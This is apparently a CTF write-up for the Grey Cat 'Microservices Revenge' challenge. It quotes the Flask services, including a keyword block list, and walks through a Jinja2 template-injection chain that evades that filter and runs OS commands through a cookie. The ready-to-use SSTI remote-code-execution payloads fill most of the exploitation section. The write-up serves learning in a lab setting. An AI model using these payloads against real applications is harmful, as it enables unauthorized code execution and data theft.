Microservices Revenge
Table of Contents
Overview
- 53 solves / 50 points
- Overall difficulty for me (From 1-10 stars): ★★★★★★☆☆☆☆
Background
I’ve upgraded the security of this website and added a new feature. Can you still break it?
- Junhua
Enumeration
Home page:
In here, it’s pretty much the same as the “Microservices” challenge.
We can go to the admin page, home page via GET parameter service
.
In this challenge, we can download a file:
┌[siunam♥earth]-(~/ctf/Grey-Cat-The-Flag-2023-Qualifiers/Web/Microservices-Revenge)-[2023.05.21|12:17:05(HKT)]
└> file dist.zip
dist.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
┌[siunam♥earth]-(~/ctf/Grey-Cat-The-Flag-2023-Qualifiers/Web/Microservices-Revenge)-[2023.05.21|12:17:07(HKT)]
└> unzip dist.zip
Archive: dist.zip
inflating: admin_page/app.py
inflating: admin_page/dockerfile
extracting: admin_page/requirements.txt
inflating: docker-compose.yml
inflating: flag_page/app.py
inflating: flag_page/dockerfile
extracting: flag_page/requirements.txt
inflating: gateway/app.py
inflating: gateway/constant.py
inflating: gateway/dockerfile
extracting: gateway/requirements.txt
inflating: homepage/app.py
inflating: homepage/dockerfile
extracting: homepage/requirements.txt
creating: homepage/templates/
inflating: homepage/templates/base.html
inflating: homepage/templates/index.html
docker-compose.yml
:
version: '3.7'
x-common-variables: &common-variables
FLAG: grey{fake_flag}
services:
admin:
build: ./admin_page
container_name: radminpage
networks:
- backend
homepage:
build: ./homepage
container_name: rhomepage
networks:
- backend
gateway:
build: ./gateway
container_name: rgateway
ports:
- 5005:80
networks:
- backend
flag:
build: ./flag_page
container_name: rflagpage
environment:
<<: *common-variables
networks:
- backend
networks:
backend: {}
In here, we can see there are 4 services: admin
, homepage
, gateway
, flag
.
To read the flag, we could use the /flag
route in flag
service: (From /flag_page/app.py
)
from flask import Flask, Response, jsonify
import os
app = Flask(__name__)
app.secret_key = os.environ.get("SECRET_KEY", os.urandom(512).hex())
FLAG = os.environ.get("FLAG", "greyctf{fake_flag}")
@app.route("/")
def index() -> Response:
"""Main page of flag service"""
# Users can't see this anyways so there is no need to beautify it
# TODO Create html for the page
return jsonify({"message": "Welcome to the homepage"})
@app.route("/flag")
def flag() -> Response:
"""Flag endpoint for the service"""
return jsonify({"message": f"This is the flag: {FLAG}"})
@app.route("/construction")
def construction() -> Response:
return jsonify({"message": "The webpage is still under construction"})
To access the flag
service, we can provide GET parameter service
with value flagpage
: (From /gateway/app.py
)
@app.route("/", methods=["GET"])
def route_traffic() -> Response:
"""Route the traffic to upstream"""
microservice = request.args.get("service", "homepage")
route = routes.get(microservice, None)
if route is None:
return abort(404)
# My WAF
if is_sus(request.args.to_dict(), request.cookies.to_dict()):
return Response("Why u attacking me???\nGlad This WAF is working!", 400)
# Fetch the required page with arguments appended
with Session() as s:
for k, v in request.cookies.items():
s.cookies.set(k, v)
res = s.get(route, params={k: v for k, v in request.args.items()})
headers = [
(k, v)
for k, v in res.raw.headers.items()
if k.lower() not in excluded_headers
]
return Response(res.content.decode(), res.status_code, headers)
/gateway/app.py
:
routes = {
"adminpage": "http://radminpage",
"homepage": "http://rhomepage",
"flagpage": "http://rflagpage/construction",
}
excluded_headers = [
"content-encoding",
"content-length",
"transfer-encoding",
"connection",
]
However, when we go to /?service=flagpage
, it’ll go to the /construction
route:
Then, I noticed that there’s a is_sus()
function:
# Extra protection for my page.
banned_chars = {
"\\",
"_",
"'",
"%25",
"self",
"config",
"exec",
"class",
"eval",
"get",
}
def is_sus(microservice: str, cookies: dict) -> bool:
"""Check if the arguments are sus"""
acc = [val for val in cookies.values()]
acc.append(microservice)
for word in acc:
for char in word:
if char in banned_chars:
return True
return False
This function will check the cookie’s values contain any banned_chars
.
Based on my experience, the filter config
, class
is trying to prevent Server-Side Template Injection (SSTI)!
So, let’s find SSTI vulnerability!
In homepage
service, it has 1 route:
@app.route("/")
def homepage() -> Response:
"""The homepage for the app"""
cookie = request.cookies.get("cookie", "")
# Render normal page
response = make_response(render_template("index.html", user=cookie))
response.set_cookie("cookie", cookie if len(cookie) > 0 else "user")
return response
This route will take cookie cookie
’s value, and render index.html
template:
{% extends 'base.html' %}
{% block alert %}
<div class="alert alert-danger" role="alert">
This website is under construction, only admins allowed.
</div>
{% endblock %}
{% block content %}
<h1>Hi {{user | safe}}</h1>
<h2>You are not an admin</h2>
<p>I am still constructing my microservices site. Please come back later</p>
{% endblock %}
As you can see, the user
variable is filtered with the safe
filter.
Now, don’t be confused, the safe
doesn’t mean it’s really “safe”! The safe
filter means it’s safe to render the variable directly.
Let’s try SSTI in service homepage
!
Nope.
Although it’s vulnerable to Reflected Cross-Site Scripting (XSS), it’s not useful for this challenge:
How about the admin
service?
In /admin_page/app.py
, we see this:
from flask import Flask, Response, render_template_string, request
app = Flask(__name__)
@app.get("/")
def index() -> Response:
"""
The base service for admin site
"""
user = request.cookies.get("user", "user")
# Currently Work in Progress
return render_template_string(
f"Sorry {user}, the admin page is currently not open."
)
Route /
will get our cookie user
’s value, and render it without any sanitization, escaping!
That being said, the admin
service is vulnerable to SSTI!
Nice!
Exploitation
Armed with above information, we could try to gain Remote Code Execution (RCE) via SSTI!
However, we have to bypass the following filter:
# Extra protection for my page.
banned_chars = {
"\\",
"_",
"'",
"%25",
"self",
"config",
"exec",
"class",
"eval",
"get",
}
Note:
%25
in URL encoding is%
. However, the web application won’t encode our input when it’s checking thebanned_chars
.
Example of when our payload contains the above characters:
According to HackTricks, we can bypass the filter via:
request|attr(request.args.c) #Send a param like "?c=__class__
Let’s do this!
Since request
object instance is not filtered, we can use that to gain RCE:
First, we’ll pipe that request
object to attr(request.args.<GET_Parameter>)
. The attr()
is to get an attribute of an object:
GET /?service=adminpage&a=application HTTP/1.1
Cookie: user={{request|attr(request.args.a)}}
We now got the Request.application
method!
Then, we can use the __globals__
attribute to find all the function’s global variables:
GET /?service=adminpage&a=application&b=__globals__ HTTP/1.1
Cookie: user={{request|attr(request.args.a)|attr(request.args.b)}}
In here, we see there’s a __builtins__
key. The value of __builtins__
is normally either this module or the value of this module’s __dict__
attribute.
Next, we need to get the __builtins__
key.
However, we can’t just use request|attr(request.args.a)|attr(request.args.b){request.args.c}
, it’ll fail.
To solve that problem, we can use the __getitem__
method. This method is used to get an item from the invoked instances’ attribute:
GET /?service=adminpage&a=application&b=__globals__&c=__getitem__ HTTP/1.1
Cookie: user={{request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)}}
We have the __getitem__
method! Let’s get the __builtins__
attribute!
GET /?service=adminpage&a=application&b=__globals__&c=__getitem__&d=__builtins__ HTTP/1.1
Cookie: user={{request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)}}
After getting the __builtins__
attribute, we can now use __import__
method to import any module!! Let’s import the os
module to execute OS command!
GET /?service=adminpage&a=application&b=__globals__&c=__getitem__&d=__builtins__&e=__getitem__&f=__import__&g=os HTTP/1.1
Cookie: user={{request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)(request.args.g)}}
Nice!! Now that we dynamically imported the os
module, we can now invoke it’s methods to execute OS command.
But, we can’t just use the following payload to invoke os
module method:
request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)(request.args.g).(request.args.h)
In Jinja2, we can assign variables via {% set <variable_name> = <value> %}
.
So, let’s assign the os
module to os
variable!
GET /?service=adminpage&a=application&b=__globals__&c=__getitem__&d=__builtins__&e=__getitem__&f=__import__&g=os HTTP/1.1
Cookie: user={% set os = request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)(request.args.g) %} {{os}}
Now we can invoke os
module’s methods!!
To execute OS command, we can use the popen()
method, and read()
it:
GET /?service=adminpage&a=application&b=__globals__&c=__getitem__&d=__builtins__&e=__getitem__&f=__import__&g=os HTTP/1.1
Cookie: user={% set os = request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)(request.args.g) %} {{os.popen("id").read()}}
Yes!! We got RCE!!
Let’s read the flag:
GET /?service=adminpage&a=application&b=__globals__&c=__getitem__&d=__builtins__&e=__getitem__&f=__import__&g=os HTTP/1.1
Cookie: user={% set os = request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)(request.args.g) %} {{os.popen("ls").read()}}
GET /?service=adminpage&a=application&b=__globals__&c=__getitem__&d=__builtins__&e=__getitem__&f=__import__&g=os HTTP/1.1
Cookie: user={% set os = request|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)(request.args.g) %} {{os.popen("cat flag.txt").read()}}
- Flag:
grey{55t1_bl4ck1ist_byp455_t0_S5rf_538ad457e9a85747631b250e834ac12d}
Conclusion
What we’ve learned:
- Exploiting RCE Via SSTI With Filter Bypass